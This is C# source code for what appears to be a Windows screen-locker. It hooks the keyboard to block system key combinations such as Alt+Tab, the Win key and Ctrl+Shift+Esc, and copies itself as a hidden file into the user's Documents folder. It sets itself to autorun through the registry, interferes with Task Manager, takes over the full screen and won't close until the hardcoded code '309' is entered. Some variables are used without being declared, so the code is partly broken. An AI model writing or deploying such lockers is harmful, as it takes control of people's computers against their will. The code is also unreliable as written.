/* © Alexander Bakhmatov * 2012 * All rights are reserved */ using System; using System.Collections.Generic; using Microsoft.Win32; using System.ComponentModel; using System.Data; using System.Drawing; using System.Reflection; using System.Linq; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; namespace WindowsFormsApplication5 { public partial class Form1 : Form { public Form1() { InitializeComponent(); TopMost = true;//Set form on the front of screen } //Set programm to autorun by Windows Registry key public bool SetAutorunValue(bool autorun) { string name = "WindowsFormsApplication5";//Application name string ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path //of application execution RegistryKey reg;//Class for working with Windows registry reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");//Subkey creating in registry try { if (autorun) { reg.SetValue(name, ExePath);//If success - then set an autoran key values //according to this application } else { reg.DeleteValue(name);//If failed - delete a created key } reg.Close();//Write data to registry and close it } catch { return false;//If exception (fail) } return true;//If success } //Deny the form closing private void Form1_FormClosing_deny(object sender, FormClosingEventArgs e) { if (e.CloseReason == CloseReason.UserClosing | //If closing by user e.CloseReason == CloseReason.MdiFormClosing | //If closing by parent form e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task //Manager e.CloseReason == CloseReason.FormOwnerClosing) //If closing by owner-form { e.Cancel = true;//Allow accepted changes } } //Accept the form closing private void Form1_FormClosing_access(object sender, FormClosingEventArgs e) { if (e.CloseReason == CloseReason.UserClosing | //If closing by user e.CloseReason == CloseReason.MdiFormClosing | //If closing by parent form e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task //Manager e.CloseReason == CloseReason.FormOwnerClosing) //If closing by owner-form { e.Cancel = false;//Deny accepted changes } } //If form is closing then terminate taskmgr (Windows Task Manager) process void Form1_FormClosed(object sender, FormClosedEventArgs e) { Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr Unhook();//Hooked keys unhooking } //Hooks data private const int WH_KEYBOARD_LL = 13;//Keyboard hook; //Keys data structure [StructLayout(LayoutKind.Sequential)] private struct KBDLLHOOKSTRUCT { public Keys key; } //Using callbacks private LowLevelKeyboardProcDelegate m_callback; private LowLevelKeyboardProcDelegate m_callback_1; private LowLevelKeyboardProcDelegate m_callback_2; private LowLevelKeyboardProcDelegate m_callback_3; private LowLevelKeyboardProcDelegate m_callback_4; //Using hooks private IntPtr m_hHook; private IntPtr m_hHook_1; private IntPtr m_hHook_2; private IntPtr m_hHook_3; private IntPtr m_hHook_4; //Set hook on keyboard [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int dwThreadId); //Unhook keyboard [DllImport("user32.dll", SetLastError = true)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); //Hook handle [DllImport("Kernel32.dll", SetLastError = true)] private static extern IntPtr GetModuleHandle(IntPtr lpModuleName); //Calling the next hook [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); //+ blocking public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Tab) { return (IntPtr)1;//+ blocking } } return CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go to next hook } // capturing public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.RWin || objKeyInfo.key == Keys.LWin) { return (IntPtr)1;// blocking } } return CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go to next hook } // capturing public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.Delete) { return (IntPtr)1;// blocking } } return CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go to next hook } // capturing public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LControlKey) { return (IntPtr)1;// blocking } } return CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go to next hook } // capturing public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.Alt) { return (IntPtr)1;// blocking } } return CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go to next hook } //+ blocking public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Space) { return (IntPtr)1;//+ blocking } } return CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go to next hook } //++ blocking public IntPtr LowLevelKeyboardHookProc_control_shift_escape(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0)//If not alredy captured { KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT if (objKeyInfo.key == Keys.LControlKey || objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LShiftKey || objKeyInfo.key == Keys.RShiftKey || objKeyInfo.key == Keys.Escape) { return (IntPtr)1;//++ blocking } } return CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go to next hook } //Delegate for using hooks private delegate IntPtr LowLevelKeyboardProcDelegate(int nCode, IntPtr wParam, IntPtr lParam); //Setting all hooks public void SetHook() { //Hooks callbacks by delegate m_callback = LowLevelKeyboardHookProc_win; m_callback_1 = LowLevelKeyboardHookProc_alt_tab; m_callback_2 = LowLevelKeyboardHookProc_ctrl; m_callback_3 = LowLevelKeyboardHookProc_del; m_callback_4 = LowLevelKeyboardHookProc_alt; m_callback_5 = LowLevelKeyboardHookProc_alt_space; m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape; //Hooks setting m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0); m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0); m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0); m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0); m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0); m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0); m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0); } //Keyboard unhooking public void Unhook() { UnhookWindowsHookEx(m_hHook); UnhookWindowsHookEx(m_hHook_1); UnhookWindowsHookEx(m_hHook_2); UnhookWindowsHookEx(m_hHook_3); UnhookWindowsHookEx(m_hHook_4); UnhookWindowsHookEx(m_hHook_5); UnhookWindowsHookEx(m_hHook_6); } //Set mouse event for further mouse emulation [DllImport("User32.dll")] static extern void mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr dwExtraInfo); //Mouse flags enum [Flags] enum MouseFlags { Move = 0x0001, LeftDown = 0x0002, LeftUp = 0x0004, RightDown = 0x0008, RightUp = 0x0010, Absolute = 0x8000 }; private void Form1_Load(object sender, EventArgs e) { SetHook();//Hook for keypressing capturing TopMost = true;//Make window of this aplication on the top of other windows //Making copy of current programm to "C:\Users\%username\Documents" //Full path to current file string currentAssembly = Assembly.GetExecutingAssembly().Location; //Current filename string fileName = Path.GetFileName(currentAssembly); //Destination folder string destinationDirectory = "C:\\Users\\"; //Current username string username = Environment.UserName; //Documents folder string documents = "Documents\\"; //Copied file string copy = Path.Combine(destinationDirectory, username, documents, fileName); //Flag for checking if running programm is not a child process bool flag = true; if (currentAssembly == copy) { flag = false; } //Copying to destination folder if (!System.IO.File.Exists(copy)) { File.Copy(currentAssembly, copy, true); //Making copy file hidden, system and reading only System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly); System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden); } else { //Making copy file hidden, system and reading only System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly); System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden); } //Running the copy of this programm to set it in the autorun only if current //programm is not a recently made copy if (flag == true) { Process.Start(copy); } //Coordinates of new cursor position in the screen const int x = 32000; const int y = 32000; //Put mouse in the screen ceneter and click its right button to prevent ability //of taskbar mouse_event(MouseFlags.Absolute | MouseFlags.Move, x, y, 0, UIntPtr.Zero);//Move //cursor mouse_event(MouseFlags.Absolute | MouseFlags.RightDown, x, y, 0, UIntPtr.Zero);// //Push mouse right button mouse_event(MouseFlags.Absolute | MouseFlags.RightUp, x, y, 0, UIntPtr.Zero);// //Release mouse right button SetAutorunValue(true);//Call function to put this application to autorun this.Bounds = Screen.PrimaryScreen.WorkingArea;//Set form size equal to full //screen size this.FormClosing += Form1_FormClosing_deny;//Binding addition to the form //constructor Process p = new Process();//New process p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set working directoty p.StartInfo.FileName = "taskmgr.exe";//Set filename for process p.StartInfo.CreateNoWindow = true;//New window for starting process p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making the window for //process hidden p.Start();//Start taskmgr process this.Focus();//Focus on taskmgr } private void button1_Click(object sender, EventArgs e) { TopMost = true; string pass = "309";//Code (key data) //Checking if inputed data is equal to key data if(textBox1.Text == pass) { this.FormClosing += Form1_FormClosing_access;//Allow form closing Unhook();//Hooked keys unhooking if (flag == true) { Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr } else { Process.GetProcessesByName("taskmgr")[1].Kill();//Kill taskmgr } Form1.ActiveForm.Close();//Close form } //If inputed data is not equal to key data else { MessageBox.Show("WRONG CODE. TRY AGAIN.");//Message for user return;//Exit from button1 handler } } } }